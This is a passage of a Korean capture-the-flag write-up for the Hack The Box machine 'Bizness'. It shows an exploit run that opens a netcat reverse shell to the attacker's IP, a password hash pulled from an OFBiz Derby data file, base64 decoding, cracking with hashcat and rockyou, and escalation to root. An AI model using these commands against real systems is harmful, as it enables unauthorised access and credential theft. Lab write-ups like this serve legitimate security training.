&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ooGEw/btsE1DkvqYh/6zKKIKSogjOrUloX8W2kk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ooGEw/btsE1DkvqYh/6zKKIKSogjOrUloX8W2kk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ooGEw/btsE1DkvqYh/6zKKIKSogjOrUloX8W2kk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FooGEw%2FbtsE1DkvqYh%2F6zKKIKSogjOrUloX8W2kk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;137&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exploit와 동일한 디렉터리에 ysoserial-all.jar 파일이 있어야 함.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708334722410&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 exploit.py --url https://bizness.htb/ --cmd 'nc -c bash 10.10.14.68 9001'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6kAbf/btsE2EpWYkj/zZVqe8R2ipZKAK0Ix8BlE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6kAbf/btsE2EpWYkj/zZVqe8R2ipZKAK0Ix8BlE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6kAbf/btsE2EpWYkj/zZVqe8R2ipZKAK0Ix8BlE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6kAbf%2FbtsE2EpWYkj%2FzZVqe8R2ipZKAK0Ix8BlE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;323&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;323&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 exploit은 &lt;a href=&quot;https://bizness.htb/(공격대상)&quot;&gt;https://bizness.htb/(공격대상)&lt;/a&gt; 10.10.14.68 9001(공격자)와 리버스스 쉘 연결할꺼임.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708334759152&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nc -lvp 9001&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UibmR/btsE7qD902Z/iZ185gCSdY2cqZmJ51vaw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UibmR/btsE7qD902Z/iZ185gCSdY2cqZmJ51vaw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UibmR/btsE7qD902Z/iZ185gCSdY2cqZmJ51vaw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUibmR%2FbtsE7qD902Z%2FiZ185gCSdY2cqZmJ51vaw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;261&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 9001 포트 열어놓으면 리버스 쉘 연결된것을 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708334788965&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;find / -name &quot;user.txt&quot; 2&amp;gt;/dev/null&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;311&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPzY5z/btsE6HM9lb7/18lCUbQX2rdBeeH0xuwrC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPzY5z/btsE6HM9lb7/18lCUbQX2rdBeeH0xuwrC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPzY5z/btsE6HM9lb7/18lCUbQX2rdBeeH0xuwrC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPzY5z%2FbtsE6HM9lb7%2F18lCUbQX2rdBeeH0xuwrC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;311&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;311&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저, 'user.txt' flag를 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 권한상승&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1. SHA-1 해시 크랙&lt;/h4&gt;
&lt;pre id=&quot;code_1708334877503&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c54d0.dat&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2284&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wOk6j/btsE3mJxHKt/VNkrcvut4xlmwdTZiEahP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wOk6j/btsE3mJxHKt/VNkrcvut4xlmwdTZiEahP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wOk6j/btsE3mJxHKt/VNkrcvut4xlmwdTZiEahP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwOk6j%2FbtsE3mJxHKt%2FVNkrcvut4xlmwdTZiEahP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2284&quot; height=&quot;431&quot; data-origin-width=&quot;2284&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 57px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;&lt;b&gt;필드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;&lt;b&gt; 'SHA' &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;SHA 암호 알고리즘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;&lt;b&gt; 'd' &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;솔트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt; 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I' &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;암호화된 해시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #f2f7ff; color: #3b3f4e; text-align: left;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;SHA-1&lt;/b&gt;: 160비트의 해시 값을 생성하며, 16진수로 표현하면 40자리입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SHA-224&lt;/b&gt;: 224비트의 해시 값을 생성하며, 16진수로 표현하면 56자리입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SHA-256&lt;/b&gt;: 256비트의 해시 값을 생성하며, 16진수로 표현하면 64자리입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SHA-384&lt;/b&gt;: 384비트의 해시 값을 생성하며, 16진수로 표현하면 96자리입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SHA-512&lt;/b&gt;: 512비트의 해시 값을 생성하며, 16진수로 표현하면 128자리입니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암호화된 해시(uP0_QaVBpDWFeo8-dRzDqRwXQ2I)를 확인하면 25자임. 분명 SHA 알고리즘을 사용했지만, SHA-1, SHA-224, SHA-256 ... 그 어디에도 속하지 않음.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #f2f7ff; color: #3b3f4e; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Base64 인코딩은 바이너리 데이터를 ASCII 문자로 변환하는 인코딩 방법입니다. 이 방법은 바이너리 데이터를 텍스트로 안전하게 전송하거나 저장할 수 있게 해줍니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #f2f7ff; color: #3b3f4e; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Base64 인코딩은 64개의 안전한 문자(대문자 A-Z, 소문자 a-z, 숫자 0-9, 그리고 '+'와 '/')를 사용합니다. 또한, '=' 문자는 패딩으로 사용됩니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #f2f7ff; color: #3b3f4e; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;그러나, '+'와 '/' 문자는 URL과 파일 시스템에서 특별한 의미를 가지므로, 이 문자들을 사용한 Base64 인코딩된 데이터를 URL에 직접 포함시키거나 파일 이름으로 사용하는 것은 문제를 일으킬 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #f2f7ff; color: #3b3f4e; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;따라서, 이런 문제를 피하기 위해 URL 안전한 버전의 Base64 인코딩이 만들어졌습니다. 이 버전에서는 '+' 문자 대신 '-' 문자를, '/' 문자 대신 '_' 문자를 사용합니다. 이렇게 하면 인코딩된 데이터를 URL에 직접 포함시키거나 파일 이름으로 사용해도 문제가 발생하지 않습니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #f2f7ff; color: #3b3f4e; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;따라서, 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I'와 같이 '-'와 '' 문자를 포함하는 Base64 인코딩된 데이터는 URL 안전한 버전의 Base64 인코딩을 사용한 것으로 보입니다. 이 데이터를 표준 Base64 인코딩으로 변환하려면 '-'를 '+'로, ''를 '/'로 치환해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1708336407758&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;base64 &amp;mdash; Base16, Base32, Base64, Base85 Data Encodings&quot; data-og-description=&quot;Source code: Lib/base64.py This module provides functions for encoding binary data to printable ASCII characters and decoding such encodings back to binary data. It provides encoding and decoding f...&quot; data-og-host=&quot;docs.python.org&quot; data-og-source-url=&quot;https://docs.python.org/3/library/base64.html#base64.urlsafe_b64encode&quot; data-og-url=&quot;https://docs.python.org/3/library/base64.html&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/tjv7t/hyVmZRAaW0/J5uB8QBIhJOQ0hFOtYlbvK/img.png?width=200&amp;amp;height=200&amp;amp;face=0_0_200_200&quot;&gt;&lt;a href=&quot;https://docs.python.org/3/library/base64.html#base64.urlsafe_b64encode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.python.org/3/library/base64.html#base64.urlsafe_b64encode&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/tjv7t/hyVmZRAaW0/J5uB8QBIhJOQ0hFOtYlbvK/img.png?width=200&amp;amp;height=200&amp;amp;face=0_0_200_200');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;base64 &amp;mdash; Base16, Base32, Base64, Base85 Data Encodings&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Source code: Lib/base64.py This module provides functions for encoding binary data to printable ASCII characters and decoding such encodings back to binary data. It provides encoding and decoding f...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.python.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1708334917396&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;CyberChef&quot; data-og-description=&quot;&quot; data-og-host=&quot;gchq.github.io&quot; data-og-source-url=&quot;https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'-'%7D,'%2B',false,false,false,false)Find_/_Replace(%7B'option':'Regex','string':'_'%7D,'/',false,false,false,false)From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Hex('None',0)&amp;amp;input=dVAwX1FhVkJwRFdGZW84LWRSekRxUndYUTJJ&quot; data-og-url=&quot;https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'-'%7D,'%2B',false,false,false,false)Find_/_Replace(%7B'option':'Regex','string':'_'%7D,'/',false,false,false,false)From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Hex('None',0)&amp;amp;input=dVAwX1FhVkJwRFdGZW84LWRSekRxUndYUTJJ&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'-'%7D,'%2B',false,false,false,false)Find_/_Replace(%7B'option':'Regex','string':'_'%7D,'/',false,false,false,false)From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Hex('None',0)&amp;amp;input=dVAwX1FhVkJwRFdGZW84LWRSekRxUndYUTJJ&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'-'%7D,'%2B',false,false,false,false)Find_/_Replace(%7B'option':'Regex','string':'_'%7D,'/',false,false,false,false)From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Hex('None',0)&amp;amp;input=dVAwX1FhVkJwRFdGZW84LWRSekRxUndYUTJJ&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;CyberChef&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;gchq.github.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1262&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q1pSP/btsEZAofjKL/oT2YkIBkwZt0TzMKMPyV6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q1pSP/btsEZAofjKL/oT2YkIBkwZt0TzMKMPyV6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q1pSP/btsEZAofjKL/oT2YkIBkwZt0TzMKMPyV6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ1pSP%2FbtsEZAofjKL%2FoT2YkIBkwZt0TzMKMPyV6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1262&quot; height=&quot;1125&quot; data-origin-width=&quot;1262&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708334982570&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;b8fd3f41a541a435857a8f3e751cc3a91c174362:d&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qf7gA/btsE0hPuc10/CfLjR6BZsvgjkkZ6pYceg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qf7gA/btsE0hPuc10/CfLjR6BZsvgjkkZ6pYceg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qf7gA/btsE0hPuc10/CfLjR6BZsvgjkkZ6pYceg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQf7gA%2FbtsE0hPuc10%2FCfLjR6BZsvgjkkZ6pYceg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;147&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'hash:salt' 형식으로 hash.txt 파일을 만들어 줌.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708335013276&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;hashcat -m 120 -a 0 --force hash.txt /usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgrZLO/btsE2Dq01gc/f9qoKZev1BxRv16liJo9T1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgrZLO/btsE2Dq01gc/f9qoKZev1BxRv16liJo9T1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgrZLO/btsE2Dq01gc/f9qoKZev1BxRv16liJo9T1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgrZLO%2FbtsE2Dq01gc%2Ff9qoKZev1BxRv16liJo9T1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1728&quot; height=&quot;131&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 60px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;&lt;b&gt;옵션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;&lt;b&gt;-m 120&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;해시 유형: SHA1 해시에 대한 암호화된 형식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;&lt;b&gt;-a&amp;nbsp; 0&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;공격 모드 : 사전 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;&lt;b&gt;--force&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;일부 공고나 체크를 무시함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'usr/share/wrodlists/rockyou.txt' 워드리스트를 사용해서 hash.txt를 크랙함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBA64D/btsEZoVRkkt/F9WwaBgrojOb6l8tmm6HLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBA64D/btsEZoVRkkt/F9WwaBgrojOb6l8tmm6HLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBA64D/btsEZoVRkkt/F9WwaBgrojOb6l8tmm6HLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBA64D%2FbtsEZoVRkkt%2FF9WwaBgrojOb6l8tmm6HLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1728&quot; height=&quot;1125&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;b8fd3f41a541a435857a8f3e751cc3a91c174362:d를 크랙한 결과 'monkeybizness'임을 알 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708335066444&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;su root&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1975&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tk8SB/btsE3qyrgoP/QGkySNRD9r0PcDKO3g2vu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tk8SB/btsE3qyrgoP/QGkySNRD9r0PcDKO3g2vu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tk8SB/btsE3qyrgoP/QGkySNRD9r0PcDKO3g2vu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftk8SB%2FbtsE3qyrgoP%2FQGkySNRD9r0PcDKO3g2vu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1975&quot; height=&quot;440&quot; data-origin-width=&quot;1975&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 권한으로 상승.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708335096406&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;find / -name &quot;root.txt&quot; 2&amp;gt;/dev/null&lt;/code&gt;&lt;/pre&gt;
